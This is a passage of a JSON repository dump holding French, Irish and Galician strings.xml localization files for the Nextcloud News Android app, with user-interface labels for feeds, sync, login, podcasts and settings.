heures</string>\n    <string name=\"array_sync_interval_hour_3\">3 heures</string>\n    <string name=\"array_sync_interval_hour_6\">6 heures</string>\n    <string name=\"array_sync_interval_hour_12\">12 heures</string>\n    <string name=\"array_sync_interval_hour_24\">24 heures</string>\n    <string name=\"switch_account\">Changer de compte</string>\n    \n    <string name=\"successfully_exported\">Export effectué vers :</string>\n    <string name=\"opml_export\">Exporter au format OPML</string>\n    <string name=\"parsing_opml\">Analyse OPML</string>\n    <string name=\"please_wait\">Veuillez patienter...</string>\n    <string name=\"interval_sync_title\">Délai de synchronisation</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-ga/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sioncronú uathoibríoch</string>\n    <string name=\"title_activity_sync_interval_selector\">Eatramh Sioncronaithe</string>\n    <string name=\"empty_view_content\">Uimh míreanna anseo</string>\n    <string name=\"empty_view_content_action\">Tarraing síos chun athnuachan</string>\n    <string name=\"toast_GettingMoreItems\">Íoslódáil níos mó míreanna tosaithe. Fán le do thoil …</string>\n    <string name=\"no_wifi_available\">Níl WiFi ceangailte</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Ar mhaith leat na híomhánna a íoslódáil gan nasc Wi-Fi?</string>\n    <string name=\"current_version\"> Tá tú ag úsáid Leagan%s</string>\n    <string name=\"widget_header\">Nuacht Nextcloud</string>\n    <string name=\"message_bar_scroll_top\">Athlódáil agus scrollaigh go dtí an barr</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d mír nua ar fáil</item>\n        <item quantity=\"two\">%d míreanna nua ar fáil</item>\n        <item quantity=\"few\">%d míreanna nua ar fáil</item>\n        <item quantity=\"many\">%d míreanna nua ar fáil</item>\n        <item quantity=\"other\">%d míreanna nua ar fáil</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Athlódáil</string>\n    <string name=\"allUnreadFeeds\">Gach mír neamhléite</string>\n    <string name=\"starredFeeds\">Míreanna le réiltín</string>\n    <string name=\"downloadedPodcasts\">Podchraoltaí íoslódáilte</string>\n    <string name=\"title_activity_new_feed\">Cuir fotha nua leis</string>\n\n    <string name=\"menu_update\">Athnuaigh</string>\n    <string name=\"menu_markAllAsRead\">Marcáil go léir mar a léitear</string>\n    <string name=\"menu_StartImageCaching\">Íosluchtaigh pictiúir éan</string>\n    <string name=\"menu_downloadMoreItems\">Íoslódáil níos mó míreanna</string>\n\n    <string name=\"tv_showing_cached_version\">Leagan taisce á thaispeáint</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Réiltín</string>\n    <string name=\"action_read\">Léigh</string>\n    <string name=\"action_playPodacst\">Seinn Podchraoladh</string>\n    <string name=\"action_removePodcast\">Bain Podchraoladh Meáin</string>\n    <string name=\"action_openInBrowser\">Oscail sa bhrabhsálaí gréasáin</string>\n    <string name=\"action_Share\">Comhroinn</string>\n    <string name=\"action_login\">Socruithe Freastalaí</string>\n    <string name=\"action_save\">Sábháil</string>\n    <string name=\"action_settings\">Socruithe</string>\n    <string name=\"action_sync_settings\">Socruithe Sioncronaithe</string>\n    <string name=\"action_add_new_feed\">Cuir fotha nua leis</string>\n    <string name=\"action_add_new_folder\">Cuir fillteán nua leis</string>\n    <string name=\"action_textToSpeech\">Léigh amach</string>\n    <string name=\"action_search\">Cuardach</string>\n    <string name=\"action_download_articles_offline\">Íosluchtaigh earraí as an Idirlíon</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Íosluchtaigh earraí le haghaidh úsáide as líne</string>\n    <string name=\"notification_download_images_offline\">Íosluchtaigh pictiúir le haghaidh úsáide as líne</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Tá %d mhír nua neamhléite agat</item>\n        <item quantity=\"two\">Tá %d mhír nua neamhléite agat</item>\n        <item quantity=\"few\">Tá %d mhír nua neamhléite agat</item>\n        <item quantity=\"many\">Tá %d mhír nua neamhléite agat</item>\n        <item quantity=\"other\">Tá %d mhír nua neamhléite agat</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d nmíreanna nua neamhléite ar fáil</item>\n        <item quantity=\"two\">%d nmíreanna nua neamhléite ar fáil</item>\n        <item quantity=\"few\">%d míreanna nua neamhléite ar fáil</item>\n        <item quantity=\"many\">%d míreanna nua neamhléite ar fáil</item>\n        <item quantity=\"other\">%d míreanna nua neamhléite ar fáil</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL fotha</string>\n    <string name=\"action_add_feed\">Cuir beatha leis</string>\n    <string name=\"import_opml\">Iompórtáil OPML</string>\n    <string name=\"export_opml\">Easpórtáil OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Íosluchtaigh íomhá</string>\n    <string name=\"action_img_sharelink\">Comhroinn Nasc Íomhá</string>\n    <string name=\"action_img_open\">Oscail Íomhá sa Bhrabhsálaí</string>\n    <string name=\"action_img_copylink\">Cóipeáil Nasc Íomhá</string>\n    <string name=\"action_link_share\">Comhroinn Nasc</string>\n    <string name=\"action_link_open\">Oscail Nasc sa Bhrabhsálaí</string>\n    <string name=\"action_link_copy\">Cóipeáil Nasc</string>\n    <string name=\"toast_img_download_wait\">Ag íosluchtú. Fán le do thoil …</string>\n    <string name=\"toast_img_saved\">Sábháladh an íomhá</string>\n    <string name=\"toast_img_notwriteable\">Theip ar Scríobh an Íomhá.</string>\n    <string name=\"toast_copied_to_clipboard\">Cóipeáladh chuig an ngearrthaisce</string>\n    <string name=\"error_download_failed\">Theip ar an íoslódáil</string>\n    <string name=\"intent_title_share\">Roinn trí</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Bain Fotha</string>\n    <string name=\"action_feed_rename\">Athainmnigh Fotha</string>\n    <string name=\"action_feed_move\">Bog Fotha</string>\n    <string name=\"action_feed_notification_settings\">Socruithe fógra</string>\n    <string name=\"action_feed_open_in\">Socruithe oscailte isteach</string>\n    <string name=\"action_feed_open_in_general_setting\">Bain úsáid as socrú ginearálta</string>\n    <string name=\"action_feed_open_in_detailed_view\">Amharc mionsonraithe</string>\n    <string name=\"feed_remove_button\">Bain</string>\n    <string name=\"feed_rename_button\">Athainmnigh</string>\n    <string name=\"confirm_feed_remove\">An bhfuil tú cinnte gur mhaith leat an Fotha seo a bhaint? Ní féidir é seo a chealú!</string>\n    <string name=\"feed_move_list_description\">Roghnaigh fillteán chun fotha a bhogadh isteach</string>\n    <string name=\"move_feed_root_folder\">Fillteán fréimhe</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Bain fillteán</string>\n    <string name=\"action_folder_rename\">Athainmnigh fillteán</string>\n    <string name=\"folder_remove_button\">Bain</string>\n    <string name=\"folder_rename_button\">Athainmnigh</string>\n    <string name=\"confirm_folder_remove\">An bhfuil tú cinnte gur mhaith leat an fillteán seo a bhaint? Ní féidir é seo a chealú!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Faigh fógraí uathúla don fhotha seo</string>\n    <string name=\"notification_feed_default\">Beidh gach fothaí leis na socruithe réamhshocraithe le feiceáil i bhfógra amháin</string>\n    <string name=\"notification_feed_none\">Gan fógraí ar chor ar bith</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Cuir</string>\n    <string name=\"hint_folder_name\">Ainm fillteáin</string>\n    <string name=\"folder_already_exists\">Tá an fillteán ann cheana</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Logáil isteach láimhe</string>\n    <string name=\"login_sso\">Logáil isteach ag baint úsáide as Nextcloud Files App</string>\n    <string name=\"pref_title_username\">Ainm úsáideora</string>\n    <string name=\"pref_title_password\">Pasfhocal</string>\n    <string name=\"pref_title_owncloudRootPath\">Seoladh fréimhe Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Sínigh isteach</string>\n    <string name=\"login_progress_signing_in\">Ag síniú isteach…</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Tá an réimse seo ag teastáil</string>\n    <string name=\"error_invalid_url\">URL mícheart</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"one\">Marcáladh %d mír mar léite</item>\n        <item quantity=\"two\">Marcáladh %d mír mar léite</item>\n        <item quantity=\"few\">Marcáladh %d mír mar léite</item>\n        <item quantity=\"many\">Marcáladh %d mír mar léite</item>\n        <item quantity=\"other\">Marcáladh %d mír mar léite</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Lódáladh %d  earra sean</item>\n        <item quantity=\"two\">Lódáladh %d  earra sean</item>\n        <item quantity=\"few\">Lódáladh %d  earra sean</item>\n        <item quantity=\"many\">Lódáladh %d  earra sean</item>\n        <item quantity=\"other\">Lódáladh %d earra sean</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Níl aon earraí breise ar fáil</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Aimsíodh%dearra go dtí seo …</item>\n        <item quantity=\"two\">Aimsíodh%d earraí go dtí seo …</item>\n        <item quantity=\"few\">Aimsíodh%d earraí go dtí seo …</item>\n        <item quantity=\"many\">Aimsíodh%d earraí go dtí seo …</item>\n        <item quantity=\"other\">Aimsíodh%d earraí go dtí seo …</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Socruithe</string>\n    <string name=\"cache_is_cleared\">Tá an taisce glanta!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Ginearálta</string>\n    <string name=\"pref_title_general_sort_order\">Ordú Sórtála</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Nua → Sean</string>\n    <string name=\"pref_general_sort_order_old_new\">Sean → Nua</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Gníomh nuair a swiping ceart</string>\n    <string name=\"pref_rename_action_swipe_left\">Gníomh nuair a swiping ar chlé</string>\n\n    <string name=\"pref_title_general_search_in\">Cuardach Isteach</string>\n\n    <string name=\"pref_general_search_in_title\">Teideal</string>\n    <string name=\"pref_general_search_in_body\">Corp</string>\n    <string name=\"pref_general_search_in_both\">An dá</string>\n\n    <string name=\"dialog_clearing_cache\">Taisce á ghlanadh</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Taisce á ghlanadh. Fán le do thoil …</string>\n    <string name=\"reset_cache_unsaved_changes\">Tá athruithe neamhshioncrónaithe ann. Ar mhaith leat an taisce a athshocrú ar aon nós?</string>\n    <string name=\"warning\">Rabhadh</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sioncronaigh ar am tosaithe</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Ná taispeáin ach ailt neamhléite</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Díchumasaigh Fíorú Óstainm</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Déan nascleanúint le cnaipí toirte</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marcáil léite agus tú ag scrollú</string>\n    <string name=\"pref_title_SyncWhenScrolledToBottom\">Sioncrónaigh nuair a scrollaigh go bun</string>\n    <string name=\"pref_title_ShowFastActions\">Feidhmeanna rochtana tapa a ghníomhachtú</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Scipeáil radharc mionsonraithe agus oscail alt sa bhrabhsálaí</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Osclaíonn an cnaipe ar ais tarraiceán</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Glac le Deimhniú Anaithnid?</string>\n    <string name=\"mtm_decision_always\">I gcónaí</string>\n    <string name=\"mtm_decision_abort\">ginmhilleadh</string>\n    <string name=\"mtm_notification\">Fíorú Teastais</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Níl aon phodchraoladh roghnaithe</string>\n    <string name=\"no_chapters_available\">Níl caibidlí ar fáil</string>\n    <string name=\"exit_playback\">Scoir an tImreoir</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Luas Athsheinm</string>\n    <string name=\"notification_downloading_podcast_title\">Podchraoladh á íoslódáil</string>\n    <string name=\"dialog_podcast_remove_title\">An bhfuil tú cinnte?</string>\n    <string name=\"dialog_podcast_remove_body\">An bhfuil fonn ort meán íosluchtaithe do  %1$sa bhaint?</string>\n    <string name=\"dialog_podcast_status_failed\">Theip ar bhaint meáin le haghaidh %1$s</string>\n    <string name=\"dialog_podcast_status_success\">Baileadh meán do%1$s </string>\n    <string name=\"dialog_podcast_remove_confirm\">Bain</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Faoi</string>\n    <string name=\"pref_license\">Ceadúnas</string>\n    <string name=\"pref_license_summary\">GNU Affero Ceadúnas Ginearálta Poiblí (AGPL) leagan 3</string>\n    <string name=\"pref_report_issue\">Tuairiscigh saincheist</string>\n    <string name=\"pref_report_issue_summary\">Teastaíonn cuntas GitHub (saor in aisce).</string>\n    <string name=\"pref_contribute\">Cur!</string>\n    <string name=\"pref_contribute_summary\">Faigh an cód foinse</string>\n    <string name=\"pref_privacy\">Príobháideacht</string>\n    <string name=\"pref_privacy_summary\">Beartas Príobháideachta Android Nextcloud Nuacht</string>\n    <string name=\"pref_news_policy\">Déan Teagmháil Linn / Polasaí Nuachta</string>\n    <string name=\"pref_news_policy_summary\">Nextcloud News Beartas Nuacht Android / Déan Teagmháil Linn</string>\n    <string name=\"pref_version\">Aip Nextcloud Nuacht do Android</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Taispeáin</string>\n    <string name=\"pref_title_app_theme\">Téama</string>\n    <string name=\"pref_title_feed_list_layout\">Leagan amach liosta beathaithe</string>\n    <string name=\"pref_title_font_size\">Méid cló</string>\n    <string name=\"pref_display_browser\">Brabhsálaí</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Deilbhíní gnímh (Mionsonraí Amharc)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Réamhshocrú Córais</string>\n    <string name=\"pref_display_apptheme_light\">Solas</string>\n    <string name=\"pref_display_apptheme_dark\">Dorcha</string>\n\n    <string name=\"pref_oled_mode\">Cúlra dubh</string>\n    <string name=\"pref_oled_mode_summary\">Le haghaidh téama dorcha ar scáileáin OLED</string>\n\n    <string name=\"pref_detailed_view_zoom\">Súmáil radhairc mhionsonraithe</string>\n    <string name=\"pref_detailed_view_zoom_summary\">Cumasaigh súmáil isteach an ábhair sa radharc mionsonraithe</string>\n\n    <string name=\"pref_external_player\">Imreoir Seachtrach</string>\n    <string name=\"pref_external_player_summary\">Seinn podchraoltaí i d\\'aip meán réamhshocraithe</string>\n\n    <string name=\"pref_display_browser_cct\">Tógtha-i Chrome-Cluaisíní-Gnás</string>\n    <string name=\"pref_display_browser_built_in\">Brabhsálaí Insuite</string>\n    <string name=\"pref_display_browser_external\">Brabhsálaí Seachtrach</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Mionsamhlacha (Ceannlínte amháin)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Mionsamhlacha</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Téacs simplí</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Ceannlínte</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Téacs iomlán</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Leagan amach gréasáin</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Radharc cárta</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Beaga</string>\n    <string name=\"pref_display_font_size_d\">Réamhshocrú</string>\n    <string name=\"pref_display_font_size_l\">Mór</string>\n    <string name=\"pref_display_font_size_xl\">Breise Mór</string>\n\n    <string name=\"content_desc_play\">Imir</string>\n    <string name=\"content_desc_pause\">Sos</string>\n    <string name=\"content_desc_playback_speed\">Luas athsheinm</string>\n    <string name=\"content_desc_rewind\">Athchasadh</string>\n    <string name=\"content_desc_forward\">Ar aghaidh</string>\n    <string name=\"content_desc_expand\">Leathnaigh</string>\n    <string name=\"content_desc_collapse\">Laghdaigh</string>\n    <string name=\"content_desc_mark_as_read\">Marcáil mar léite</string>\n    <string name=\"content_desc_mark_as_unread\">Marcáil mar neamhléite</string>\n    <string name=\"content_desc_tap_to_refresh\">Tapáil chun athnuachan</string>\n    <string name=\"content_desc_add_to_favorites\">Cuir le ceanáin</string>\n    <string name=\"content_desc_remove_from_favorites\">Bain ó cheanáin</string>\n    <string name=\"content_desc_show_password\">Taispeáin pasfhocal</string>\n    <string name=\"content_desc_delete\">Scrios</string>\n    <string name=\"content_desc_download\">Íoslódáil</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Earráid</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Tá an chuma ar an scéal nach bhfuil d\\'aip nuachta suiteáilte nó gníomhachtaithe ar do fhreastalaí. Lean na treoracha a thugtar anseo chun an aip nuachta a shocrú ar do fhreastalaí ar dtús le do thoil:%1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Chuaigh rud eigin mícheart :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">Chuir an Web Nuacht Aip Leagan \\\"0\\\" ar ais. Féach ar an tuairisc fhabht seo a leanas le do thoil: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Níl an leagan Feidhmchláir seo comhoiriúnach le d’aip Nextcloud Nuacht. Uasghrádaigh an aip nuachta agus creat na haipe le do thoil.</string>\n    <string name=\"login_dialog_title_security_warning\">Rabhadh Slándála</string>\n    <string name=\"login_dialog_text_security_warning\">Níl HTTPS á úsáid agat, rud a spreagtar go láidir. D’fhéadfadh ionsaitheoir do thrácht a thascradh agus rochtain a fháil ar roinnt sonraí íogaire (m.sh. do phasfhocal).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Chuaigh rud eigin mícheart. Arís, le do thoil.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Sonraí &amp; sioncronaithe</string>\n    <string name=\"pref_title_clearCache\">Glan taisce</string>\n    <string name=\"pref_title_CacheImagesOffline\">Íomhánna taisce as líne</string>\n    <string name=\"pref_title_Max_Cache_Size\">Méid Taisce Max</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Riamh</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Thar WiFi amháin</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Thar WiFi &amp; Soghluaiste</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Fiafraigh nuair nach bhfuil sé ceangailte le wifi</string>\n\n    <string name=\"array_sync_interval_min_0\">Riamh</string>\n    <string name=\"array_sync_interval_min_5\">5 nóiméad</string>\n    <string name=\"array_sync_interval_min_15\">15 nóiméad</string>\n    <string name=\"array_sync_interval_min_30\">30 nóiméad</string>\n    <string name=\"array_sync_interval_min_45\">45 nóiméad</string>\n    <string name=\"array_sync_interval_hour_1\">1 uair</string>\n    <string name=\"array_sync_interval_hour_2\">2 uair an chloig</string>\n    <string name=\"array_sync_interval_hour_3\">3 uair an chloig</string>\n    <string name=\"array_sync_interval_hour_6\">6 huaire</string>\n    <string name=\"array_sync_interval_hour_12\">12 uair</string>\n    <string name=\"array_sync_interval_hour_24\">24 uair </string>\n    <string name=\"switch_account\">Athraigh cuntas</string>\n    \n    <string name=\"successfully_exported\">D\\'éirigh le heaspórtáil chuig:</string>\n    <string name=\"opml_export\">Easpórtáil OPML</string>\n    <string name=\"parsing_opml\">OPML á pharsáil</string>\n    <string name=\"please_wait\">Fán le do thoil …</string>\n    <string name=\"interval_sync_title\">Sioncronú Eatramh</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-gl/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sincronización automática</string>\n    <string name=\"title_activity_sync_interval_selector\">Intervalo de sincronización</string>\n    <string name=\"empty_view_content\">Non hai elementos aquí</string>\n    <string name=\"empty_view_content_action\">Tire cara a abaixo para actualizar</string>\n    <string name=\"toast_GettingMoreItems\">Iniciada a descarga de máis elementos. Agarde…</string>\n    <string name=\"no_wifi_available\">Non está conectado á wifi</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Quere descargar as imaxes sen unha conexión wifi?</string>\n    <string name=\"current_version\">Está empregando a versión%s</string>\n    <string name=\"widget_header\">Novas de Nextcloud</string>\n    <string name=\"message_bar_scroll_top\">Recarga e despraza ata arriba</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d elemento novo dispoñíbel</item>\n        <item quantity=\"other\">%d elementos novos dispoñíbeis</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Volver cargar</string>\n    <string name=\"allUnreadFeeds\">Todos os elementos sen ler</string>\n    <string name=\"starredFeeds\">Elementos salientados</string>\n    <string name=\"downloadedPodcasts\">Downloaded podcasts</string>\n    <string name=\"title_activity_new_feed\">Engadir unha nova fonte</string>\n\n    <string name=\"menu_update\">Actualizar</string>\n    <string name=\"menu_markAllAsRead\">Marcar todo como lido</string>\n    <string name=\"menu_StartImageCaching\">Descargar imaxes</string>\n    <string name=\"menu_downloadMoreItems\">Descargar máis elementos</string>\n\n    <string name=\"tv_showing_cached_version\">Amosando a versión na memoria tobo</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Salientado</string>\n    <string name=\"action_read\">Ler</string>\n    <string name=\"action_playPodacst\">Reproducir o Podcast</string>\n    <string name=\"action_removePodcast\">Retirar os ficheiros multimedia de podcast</string>\n    <string name=\"action_openInBrowser\">Abrir no navegador web</string>\n    <string name=\"action_Share\">Compartir</string>\n    <string name=\"action_login\">Axustes do servidor</string>\n    <string name=\"action_save\">Gardar</string>\n    <string name=\"action_settings\">Axustes</string>\n    <string name=\"action_sync_settings\">Axustes da sincronización</string>\n    <string name=\"action_add_new_feed\">Engadir unha nova fonte</string>\n    <string name=\"action_add_new_folder\">Engadir un cartafol novo</string>\n    <string name=\"action_textToSpeech\">Ler</string>\n    <string name=\"action_search\">Buscar</string>\n    <string name=\"action_download_articles_offline\">Descargar os artigos sen conexión</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Descargando articulos para o seu uso sen conexión</string>\n    <string name=\"notification_download_images_offline\">Descargando imaxes para o seu uso sen conexión</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Ten %d elemento novo sen ler</item>\n        <item quantity=\"other\">Ten %d elementos novos sen ler</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">Dispón de %d elemento novo sen ler</item>\n        <item quantity=\"other\">Dispón de %d elementos novos sen ler</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL da fonte</string>\n    <string name=\"action_add_feed\">Engadir fonte</string>\n    <string name=\"import_opml\">Importar OPML</string>\n    <string name=\"export_opml\">Exportar OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Descargar imaxe</string>\n    <string name=\"action_img_sharelink\">Compartir a ligazón da imaxe</string>\n    <string name=\"action_img_open\">Abrir a imaxe no navegador</string>\n    <string name=\"action_img_copylink\">Copiar a ligazón da imaxe</string>\n    <string name=\"action_link_share\">Ligazón para compartir</string>\n    <string name=\"action_link_open\">Abrir a ligazón no navegador</string>\n    <string name=\"action_link_copy\">Copiar a ligazón</string>\n    <string name=\"toast_img_download_wait\">Descargando. Agarde…</string>\n    <string name=\"toast_img_saved\">Imaxe gardada</string>\n    <string name=\"toast_img_notwriteable\">Produciuse un erro ao gravar a imaxe</string>\n    <string name=\"toast_copied_to_clipboard\">Copiado no portapapeis</string>\n    <string name=\"error_download_failed\">Produciuse un fallo na descarga</string>\n    <string name=\"intent_title_share\">Compartido mediante</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Retirar a fonte</string>\n    <string name=\"action_feed_rename\">Cambiar o nome da fonte</string>\n    <string name=\"action_feed_move\">Mover a fonte</string>\n    <string name=\"action_feed_notification_settings\">Axustes de notificación</string>\n    <string name=\"action_feed_open_in\">Axustes de apertura</string>\n    <string name=\"action_feed_open_in_general_setting\">Usar os axustes xerais</string>\n    <string name=\"action_feed_open_in_detailed_view\">Vista detallada</string>\n    <string name=\"feed_remove_button\">Retirar</string>\n    <string name=\"feed_rename_button\">Cambiar o nome</string>\n    <string name=\"confirm_feed_remove\">Confirma que quere retirar esta fonte? Isto non é posíbel desfacelo.</string>\n    <string name=\"feed_move_list_description\">Seleccione o cartafol ao que mover a fonte</string>\n    <string name=\"move_feed_root_folder\">Cartafol raíz</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Retirar o cartafol</string>\n    <string name=\"action_folder_rename\">Cambiar o nome do cartafol</string>\n    <string name=\"folder_remove_button\">Retirar</string>\n    <string name=\"folder_rename_button\">Cambiar o nome</string>\n    <string name=\"confirm_folder_remove\">Confirma que quere retirar este cartafol? Isto non é posíbel desfacelo.</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Recibir notificacións únicas para esta fonte</string>\n    <string name=\"notification_feed_default\">Todas as fontes cos axustes predeterminados aparecerán nunha única notificación</string>\n    <string name=\"notification_feed_none\">Non hai ningunha notificación</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Engadir</string>\n    <string name=\"hint_folder_name\">Nome do cartafol</string>\n    <string name=\"folder_already_exists\">Xa existe o cartafol</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Acceso manual</string>\n    <string name=\"login_sso\">Acceso empregando a aplicación Ficheiros de Nextcloud</string>\n    <string name=\"pref_title_username\">Nome de usuario</string>\n    <string name=\"pref_title_password\">Contrasinal</string>\n    <string name=\"pref_title_owncloudRootPath\">Enderezo raíz de Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Acceder</string>\n    <string name=\"login_progress_signing_in\">Accedendo a…</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Precísase deste campo</string>\n    <string name=\"error_invalid_url\">URL incorrecto</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"one\">Marcouse %d elemento como lido</item>\n        <item quantity=\"other\">Marcáronse %d elementos como lidos</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Descargado %d elemento antigo</item>\n        <item quantity=\"other\">Descargados %d elementos antigos</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Non hai máis elementos dispoñíbeis</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">%delemento recuperados polo de agora…</item>\n        <item quantity=\"other\">%delementos recuperados polo de agora…</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Axustes</string>\n    <string name=\"cache_is_cleared\">A memoria tobo está limpa!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Xeral</string>\n    <string name=\"pref_title_general_sort_order\">Criterio de ordenación</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Novo → Antigo</string>\n    <string name=\"pref_general_sort_order_old_new\">Antigo → Novo</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Acción ao esvarar cara á dereita</string>\n    <string name=\"pref_rename_action_swipe_left\">Acción ao esvarar cara á esquerda</string>\n\n    <string name=\"pref_title_general_search_in\">Buscar en</string>\n\n    <string name=\"pref_general_search_in_title\">Título</string>\n    <string name=\"pref_general_search_in_body\">Corpo</string>\n    <string name=\"pref_general_search_in_both\">Ambos</string>\n\n    <string name=\"dialog_clearing_cache\">Limpando a memoria tobo</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Limpando a memoria tobo. Agarde…</string>\n    <string name=\"reset_cache_unsaved_changes\">Hai cambios sen sincronizar. Quere restabelecer a memoria tobo aínda así?</string>\n    <string name=\"warning\">Advertencia</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincronizar no inicio</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Amosar só os artigos non lidos</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Desactivar a verificación do nome da máquina/servidor</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navegar cos botóns de volume</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marcar como lido mentres se despraza</string>\n    <string name=\"pref_title_SyncWhenScrolledToBottom\">Sincronizar ao desprazarse cara abaixo</string>\n    <string name=\"pref_title_ShowFastActions\">Activar as funcións de acceso rápido</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Omitir a vista detallada e abrir o artigo no navegador</string>\n    <string 